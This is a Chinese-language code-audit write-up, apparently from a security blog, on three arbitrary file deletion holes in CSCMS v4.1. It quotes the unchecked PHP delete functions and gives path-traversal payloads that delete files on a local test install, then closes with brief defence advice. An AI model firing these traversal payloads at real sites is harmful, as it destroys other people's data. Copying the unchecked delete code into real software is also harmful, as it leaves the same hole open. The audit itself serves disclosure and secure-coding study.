CSCMS任意文件删除漏洞实例代码审计

  • A+
所属分类:网络安全文章
阿里


推广者专属福利,新客户无门槛领取总价值高达2775元代金券,每种代金券限量500张,先到先得。

CSCMS任意文件删除漏洞实例代码审计

0x00 前言

在一个网站中,涉及文件删除操作的函数,如果文件名可控,将可能存在任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。

好久没更新代码审计的文章了,通过CSCMS分享几个漏洞实例。

0x01 环境搭建

CSCMS :http://www.chshcms.com

网站源码版本:Cscms_v4.1正式版

程序源码下载:https://github.com/chshcms/cscms

0x02 漏洞实例一

漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php  第160-177行:

  1. public function del(){
  2.     $dir = $this->input->get_post('id',true);
  3.     if(emptyempty($dir)){
  4.         getjson(L('plub_11'));
  5.     }
  6.     $dirs = array();
  7.     if(!is_array($dir)){
  8.         $dirs[] = $dir;
  9.     }else{
  10.         $dirs = $dir;
  11.     }
  12.     foreach($dirs as $dir) {
  13.         deldir(FCPATH.'attachment/backup/'.$dir);
  14.     }
  15.     $info['msg'] = L('plub_12');
  16.     $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);
  17.     getjson($info,0);
  18. }

漏洞利用:

1、根目录下新建cesafe目录作为测试:

2、构造参数成功删除cesafe目录

  1. http://127.0.0.1/admin.php/basedb/del
  2. POST:id=..\..\cesafe

0x02 漏洞实例二

漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行:

  1. public function del(){
  2.     $ac = $this->input->get('ac',true);
  3.     $op = $this->input->get('op',true);
  4.     $dir = $this->input->get('dirs',true);
  5.     $file = $this->input->get('file');
  6.     if($ac!='mobile') $ac='pc';
  7.     if($op!='home' && $op!='user') $op='skins';
  8.     if(emptyempty($dir)) getjson(L('plub_27'));
  9.     $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;
  10.     if (!is_dir($skin_dir)) {  //文件
  11.           $res=unlink($skin_dir);
  12.     }else{  //目录
  13.           $res=deldir($skin_dir);
  14.     }
  15.     if($res){
  16.         $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);
  17.         $info['msg'] = L('plub_46');
  18.         $info['turn'] = 1;
  19.         getjson($info,0);
  20.     }else{
  21.         getjson(L('plub_28'));
  22.     }

漏洞利用:

网站根目录下新建1.txt文件作为测试,构造URL成功删除文件Payload:

  1. http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\..\..\..\cesafe.txt

0x03 漏洞实例三

漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行:

  1. public function del(){
  2.     $dir = $this->input->get_post('dir',true);
  3.     if($dir==''){
  4.         getjson(L('plub_del_0'),1);
  5.     }
  6.     deldir(FCPATH.'plugins'.FGF.$dir.FGF);
  7.     //删除配置目录
  8.     deldir(CSCMS.$dir.FGF);
  9.     //删除模板目录
  10.     deldir(FCPATH.'tpl/admin/'.$dir.FGF);
  11.     $info['func'] = __FUNCTION__;
  12.     $info['msg'] = L('plub_del_1');
  13.     getjson($info,0);
  14. }

0x04 安全防御

限制文件删除函数可删除的目录位置、文件类型

文件名非用户可控

CE安全网

发表评论

您必须登录才能发表评论!